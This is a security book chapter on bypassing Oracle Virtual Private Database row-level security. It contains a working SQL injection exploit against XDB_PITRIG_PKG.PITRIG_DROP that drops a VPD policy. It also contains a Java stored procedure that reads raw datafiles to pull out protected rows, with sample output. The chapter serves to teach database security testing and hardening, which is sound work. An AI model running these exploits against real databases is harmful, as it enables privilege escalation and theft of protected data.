
CHAPTER 

8 
Defeating Virtual Private 
Databases (a chapter from the 

Oracle Hacker’s Handbook, David 
Litchfield, published by Wiley) 

This chapter assumes you have an understanding of virtual private databases 
(VPD). If you don't, I recommend Effective Oracle Database 10g Security 
by Design by David Knox (McGraw-Hill, 2004). In short, a VPD is a 
security mechanism built into Oracle that allows fine-grained access 
control—or row-level security. It can be considered a view on steroids, and 
it is used to enforce a security policy. Essentially, VPDs allow a user to 
access only the data that the policy specifies they can access, and no more. 
However, there are a number of ways of defeating VPD. This chapter looks 
at a few. 

Tricking Oracle into Dropping a Policy 

VPDs are created using the DBMS_RLS package. The DBMS_FGA package 
can also be used—it does exactly the same thing. Incidentally, the RLS 
stands for row-level security, and the FGA stands for fine-grained access. If 
we want to see who can execute this package, we get the following: 



SQL> select grantee,privilege from dba_tab_privs where table_name 
='DBMS_RLS'; 
 
GRANTEE                  PRIVILEGE 
------------------------------ 
EXECUTE_CATALOG_ROLE      EXECUTE 
XDB                        EXECUTE 
WKSYS                        EXECUTE 
 
SQL> select grantee,privilege from dba_tab_privs where table_name 
='DBMS_FGA'; 
 
GRANTEE                  PRIVILEGE 
------------------------------ 
EXECUTE_CATALOG_ROLE      EXECUTE 

Looking at this, if we can execute code as XDB or WKSYS, then we can 
manipulate RLS policies. Before we start, this let’s set up a simple VPD. 
First, create the user who will own the VPD: 

SQL> CONNECT / AS SYSDBA 
Connected. 
SQL> CREATE USER VPD IDENTIFIED BY PASS123; 
 
User created. 
 
SQL> GRANT CREATE SESSION TO VPD; 
 
Grant succeeded. 
 
SQL> GRANT CREATE TABLE TO VPD; 
 
Grant succeeded. 
 
SQL> GRANT CREATE PROCEDURE TO VPD; 
 
SQL> GRANT UNLIMITED TABLESPACE TO VPD; 
 
Grant succeeded. 
 
SQL> GRANT EXECUTE ON DBMS_RLS TO VPD; 
 
Grant succeeded. 

With that done, we can set up a table for use as a VPD. For this 
example, we’ll create a table that stores army orders: 

SQL> CONNECT VPD/PASS123 
Connected. 
SQL> CREATE TABLE VPDTESTTABLE (CLASSIFICATION VARCHAR2(20), 



  2  ORDER_TEXT VARCHAR(20), RANK VARCHAR2(20)); 
 
Table created. 
 
SQL> GRANT SELECT ON VPDTESTTABLE TO PUBLIC; 
 
Grant succeeded. 
 
SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES 
('SECRET','CAPTURE ENEMY BASE','GENERAL'); 
 
1 row created. 
 
SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) 
VALUES('UNCLASSIFIED','UPDATE DUTY ROTA','CORPORAL'); 
 
1 row created. 
 
SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) 
VALUES('SECRET','INVADE ON TUESDAY','COLONEL'); 
 
1 row created. 
 
SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) 
VALUES('UNCLASSIFIED','POLISH BOOTS','MAJOR'); 
 
1 row created. 

Before setting up a VPD, because we’ve given PUBLIC the execute 
permission, anyone can get access to orders marked as SECRET: 

SQL> CONNECT SCOTT/TIGER 
Connected. 
SQL> SELECT * FROM VPD.VPDTESTTABLE; 
 
CLASSIFICATION       ORDER_TEXT           RANK 
-------------------- -------------------- --------- 
SECRET               CAPTURE ENEMY BASE   GENERAL 
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL 
SECRET               INVADE ON TUESDAY    COLONEL 
UNCLASSIFIED         POLISH BOOTS         MAJOR 

We’ll set up a Virtual Private Database to prevent this. First we create a 
function that returns a predicate—essentially a where clause that is 
appended to the end of queries against the table: 

SQL> CONNECT VPD/PASS123 
Connected. 
SQL> CREATE OR REPLACE FUNCTION HIDE_SECRET_ORDERS(p_schema  IN 
VARCHAR2,p_object  IN VARCHAR2) 



  2  RETURN VARCHAR2 
  3  AS 
  4  BEGIN 
  5  RETURN 'CLASSIFICATION !=''SECRET'''; 
  6  END; 
  7  / 
 
Function created. 

With the function created, it’s now possible to use it to enforce the 
policy—which we’ll call SECRECY: 

SQL> BEGIN 
  2  DBMS_RLS.add_policy 
  3  (object_schema    => 'VPD', 
  4  object_name      => 'VPDTESTTABLE', 
  5  policy_name      => 'SECRECY', 
  6  policy_function  => 'HIDE_SECRET_ORDERS'); 
  7  END; 
  8  / 
 
PL/SQL procedure successfully completed. 

Now if we reconnect as SCOTT and select from this table, we’ll only 
see non-secret orders: 

SQL> CONNECT SCOTT/TIGER 
Connected. 
SQL> SELECT * FROM VPD.VPDTESTTABLE; 
 
CLASSIFICATION       ORDER_TEXT           RANK 
-------------------- -------------------- -------------- 
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL 
UNCLASSIFIED         POLISH BOOTS         MAJOR 

Time to get access again . . . 
Earlier it was noted that XDB could execute the DBMS_RLS package. 

Theoretically, if we could find a flaw in any of the packages owned by 
XDB, we could exploit this to drop the policy. After a moment of 
searching for such a flaw to turn the theoretical practical, we come across 
one in the XDB_PITRIG_PKG package—a SQL injection flaw:  

SQL> CONNECT SCOTT/TIGER 
Connected. 
SQL> SELECT * FROM VPD.VPDTESTTABLE; 
 
CLASSIFICATION       ORDER_TEXT           RANK 
-------------------- -------------------- -------------- 
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL 



UNCLASSIFIED         POLISH BOOTS         MAJOR 
 
SQL> CREATE OR REPLACE FUNCTION F RETURN NUMBER AUTHID CURRENT_USER IS 
  2  PRAGMA AUTONOMOUS_TRANSACTION; 
  3  BEGIN 
  4  DBMS_OUTPUT.PUT_LINE('HELLO'); 
  5  EXECUTE IMMEDIATE 'BEGIN 
SYS.DBMS_RLS.DROP_POLICY(''VPD'',''VPDTESTTABLE'',''SECRECY''); END;'; 
  6  RETURN 1; 
  7  COMMIT; 
  8  END; 
  9  / 
 
Function created. 
 
SQL> CREATE TABLE FOO (X NUMBER); 
 
SQL> EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."FOO" WHERE 
1=SCOTT.F()--','BBBB'); 
 
PL/SQL procedure successfully completed. 
 
SQL> SELECT * FROM VPD.VPDTESTTABLE; 
 
CLASSIFICATION       ORDER_TEXT           RANK 
-------------------- -------------------- -------------------- 
SECRET               CAPTURE ENEMY BASE   GENERAL 
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL 
SECRET               INVADE ON TUESDAY    COLONEL 
UNCLASSIFIED         POLISH BOOTS         MAJOR 
 
SQL> 

Now we have access to secret orders again. So what’s going on here? 
The PITRIG_DROP procedure of the XDB_PITRIG_PKG package is 
vulnerable to SQL injection, and because this package is executable by 
PUBLIC, anyone can execute SQL as XDB. We create a function called F 
that executes the following: 

BEGIN 
SYS.DBMS_RLS.DROP_POLICY('VPD','VPDTESTTABLE','SECRECY'); 
END; 

This drops the SECRECY policy from the VPDTESTTABLE. We then 
inject this function into XDB_PITRIG_PKG.PITRIG_DROP where it 
executes with XDB privileges, thus dropping the policy and giving us 
access to the secret data again. In addition, the FOO table is created and 
left empty to stop the “ORA-31007: Attempted to delete non-empty 
container” error we’d get if we used, for example, SCOTT.EMP. Frankly, 



any SQL injection flaw in a definer rights package owned by SYS would 
have worked equally well—but to point is served. If you don’t know the 
name of the policy on the VPDTESTTABLE, you can just get this 
information from the ALL_POLICIES view: 

SQL> select OBJECT_OWNER, OBJECT_NAME, POLICY_NAME FROM ALL_POLICIES; 
 
OBJECT_OWNER      OBJECT_NAME            POLICY_NAME 
------------       -----------            ------------- 
VPD                  VPDTESTTABLE      SECRECY 

Defeating VPDs with Raw File Access 

You can entirely bypass database enforced access control by accessing the 
raw data file itself. This is fully covered in chapter 11—but here’s the code 
now: 

SET ESCAPE ON 
SET ESCAPE "\" 
SET SERVEROUTPUT ON 
 
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS 
import java.lang.*; 
import java.io.*; 
 
public class JAVAREADBINFILE 
{ 
        public static void readbinfile(String f, int start) throws 
IOException 
      {  
             FileInputStream fis;  
            DataInputStream dis;  
            try 
            {  
                  int i; 
                  int ih,il; 
                  int cnt = 1, h=0,l=0; 
                  String hex[] = {"0", "1", "2","3", "4", "5", "6", "7", 
"8","9", "A", "B", "C", "D", "E","F"}; 
 
                  RandomAccessFile raf = new RandomAccessFile (f, "r"); 
                  raf.seek (start);  
                  for(i=0; i<=512; i++) 
                  { 
                         
                        ih = il  = raf.readByte() \& 0xFF; 
                        h = ih >> 4; 



                        l = il \& 0x0F; 
                         
 
 
                        System.out.print("\\\\x" + hex[h] + hex[l]);  
                        if(cnt \% 16 == 0) 
                              System.out.println(); 
                        cnt ++; 
                   
                  } 
 
                   
            } 
            catch (EOFException eof)  
                  { 
                  System.out.println(); 
                  System.out.println( "EOF reached " ); 
            }  
            catch (IOException ioe)  
            { 
                  System.out.println( "IO error: " + ioe ); 
            }    
        }  
}  
/ 
show errors 
/ 
CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename  IN  
VARCHAR2, p_start in number) 
AS LANGUAGE JAVA 
NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)'; 
/ 
show errors 
/ 

Once this has been created you can use it to read the files directly—in 
this case, the VPDTESTTABLE exists in the USERS tablespace: 

SQL> set serveroutput on 
SQL> exec dbms_java.set_output(2000); 
PL/SQL procedure successfully completed. 
SQL> exec 
JAVAREADBINFILEPROC('c:\\oracle\\oradata\\orcl10G\\USERS01.DBF',3129184)
; 
\x03\x1B\x01\x80\x02\x02\x2C\x01\x03\x0C\x55\x4E\x43\x4C\x41\x53 
\x53\x49\x46\x49\x45\x44\x0C\x50\x4F\x4C\x49\x53\x48\x20\x42\x4F 
\x4F\x54\x53\x05\x4D\x41\x4A\x4F\x52\x2C\x01\x03\x06\x53\x45\x43 
\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45\x20\x4F\x4E\x20\x54\x55 
\x45\x53\x44\x41\x59\x07\x43\x4F\x4C\x4F\x4E\x45\x4C\x2C\x01\x03 
\x0C\x55\x4E\x43\x4C\x41\x53\x53\x49\x46\x49\x45\x44\x10\x55\x50 
\x44\x41\x54\x45\x20\x44\x55\x54\x59\x20\x52\x4F\x54\x41\x08\x43 



\x4F\x52\x50\x4F\x52\x41\x4C\x2C\x01\x03\x06\x53\x45\x43\x52\x45 
\x54\x12\x43\x41\x50\x54\x55\x52\x45\x20\x45\x4E\x45\x4D\x59\x20 
\x42\x41\x53\x45\x07\x47\x45\x4E\x45\x52\x41\x4C\x06\x06\x1E\xE2 
\x06\xA2\x00\x00\x7E\x01\x00\x01\x1E\xE2\x1F\x00\x00\x00\x01\x04 
\xBE\x1E\x00\x00\x01\x00\x0B\x00\x17\xCB\x00\x00\x01\xE2\x1F\x00 
.. 
.. 

PL/SQL procedure successfully completed. This output contains the 
secret data—for example, from the last three bytes on line 3 we have the 
following:  

\x53\x45\x43\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45 
S   E   C   R   E   T       I   N   V   A   D   E  
\x20\x4F\x4E\x20\x54\x55\x45\x53\x44\x41\x59 
    O   N       T   U   E   S   D   A   Y 

General Privileges 

I’ve seen a number of servers that have granted PUBLIC the execute 
permission of DBMS_RLS, and several tutorials on virtual private databases 
that do the same. This is not a good idea. There are also other packages 
that should have the execute permission for PUBLIC, such as SYS.LTADM, 
which has a procedure called CREATERLSPOLICY that directly calls the 
DBMS_RLS.ADD_POLICY procedure. DBMS_FGA is clearly another. 
WK_ADM, owned by WKSYS, is executable by PUBLIC and allows limited 
modification of policies. 

Lastly, if someone can grant themselves the EXEMPT ACCESS POLICY 
system privilege—for example, via a SQL injection flaw—then policies 
will not apply to them. 

Wrapping Up 

In this chapter you have looked at a couple of ways that virtual private 
databases can be defeated. The same ideas, especially the raw file access 
method, can be applied to Oracle Label Security and the new Database 
Vault product. Encryption of data should be considered as a must for highly 
sensitive applications. 


